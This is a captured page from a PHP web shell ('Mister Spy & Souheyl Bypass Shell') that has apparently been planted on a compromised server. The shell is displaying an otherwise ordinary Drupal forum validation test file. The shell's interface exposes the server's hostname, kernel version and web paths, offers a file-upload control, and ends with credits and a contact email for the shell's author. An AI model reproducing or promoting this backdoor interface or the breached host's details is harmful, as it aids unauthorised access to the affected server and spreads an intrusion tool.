Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor3/web/core/modules/forum/tests/src/Kernel/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor3/web/core/modules/forum/tests/src/Kernel/ForumValidationTest.php

<?php

declare(strict_types=1);

namespace Drupal\Tests\forum\Kernel;

use Drupal\KernelTests\Core\Entity\EntityKernelTestBase;
use Drupal\node\Entity\Node;
use Drupal\taxonomy\Entity\Term;

/**
 * Tests forum validation constraints.
 *
 * @group forum
 * @group legacy
 */
class ForumValidationTest extends EntityKernelTestBase {

  /**
   * Modules to install.
   *
   * @var array
   */
  protected static $modules = [
    'node',
    'options',
    'comment',
    'taxonomy',
    'forum',
  ];

  /**
   * Tests the forum validation constraints.
   */
  public function testValidation(): void {
    $this->installConfig('forum');

    // Add a forum.
    $forum = Term::create([
      'name' => 'forum 1',
      'vid' => 'forums',
      'forum_container' => 0,
    ]);

    // Add a container.
    $container = Term::create([
      'name' => 'container 1',
      'vid' => 'forums',
      'forum_container' => 1,
    ]);

    // Add a forum post.
    $forum_post = Node::create([
      'type' => 'forum',
      'title' => 'Do these pants make my butt look big?',
    ]);

    $violations = $forum_post->validate();
    $this->assertCount(1, $violations);
    $this->assertEquals('This value should not be null.', $violations[0]->getMessage());

    // Add the forum term.
    $forum_post->set('taxonomy_forums', $forum);
    $violations = $forum_post->validate();
    $this->assertCount(0, $violations);

    // Try to use a container.
    $forum_post->set('taxonomy_forums', $container);
    $violations = $forum_post->validate();
    $this->assertCount(1, $violations);
    $this->assertEquals(sprintf('The item %s is a forum container, not a forum. Select one of the forums below instead.', $container->label()), $violations[0]->getMessage());
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net